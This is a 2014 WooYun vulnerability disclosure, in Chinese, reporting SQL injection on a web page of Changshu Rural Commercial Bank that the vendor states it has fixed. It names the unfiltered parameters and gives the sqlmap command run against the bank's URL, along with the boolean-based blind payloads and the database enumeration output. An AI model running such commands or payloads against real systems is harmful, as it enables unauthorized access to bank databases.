常熟农商银行某站点SQL注射

发表于 2014年12月25日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2014-088646

漏洞标题：常熟农商银行某站点SQL注射

漏洞详情

披露状态：

2014-12-25: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认，细节仅向厂商公开
2014-12-26: 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

常熟农商银行某站点SQL注射

详细说明：

链接：http://wx.csrcbank.com/active/index.php?action=ertonghuihua&type=pc&do=show&id=9743action字段和id字段均未过滤

sqlmap.py -u "http://wx.csrcbank.com/active/index.php?action=ertonghuihua&type=pc&do=show&id=9743" --dbs

1	sqlmap.py -u "http://wx.csrcbank.com/active/index.php?action=ertonghuihua&type=pc&do=show&id=9743" --dbs

漏洞证明：

sqlmap identified the following injection points with a total of 597 HTTP(s) requests:<br>
---<br>
Parameter: action (GET)<br>
    Type: boolean-based blind<br>
    Title: AND boolean-based blind - WHERE or HAVING clause<br>
    Payload: action=ertonghuihua' AND 5154=5154 AND 'LTPr'='LTPr&type=pc&do=show&id=9743Parameter: id (GET)<br>
    Type: boolean-based blind<br>
    Title: AND boolean-based blind - WHERE or HAVING clause<br>
    Payload: action=ertonghuihua&type=pc&do=show&id=9743' AND 6165=6165 AND 'QwXw'='QwXw<br>
---<br>
web application technology: PHP 5.3.28<br>
back-end DBMS: MySQL >= 5.0.0<br>
available databases [1]:<br>
[*] bank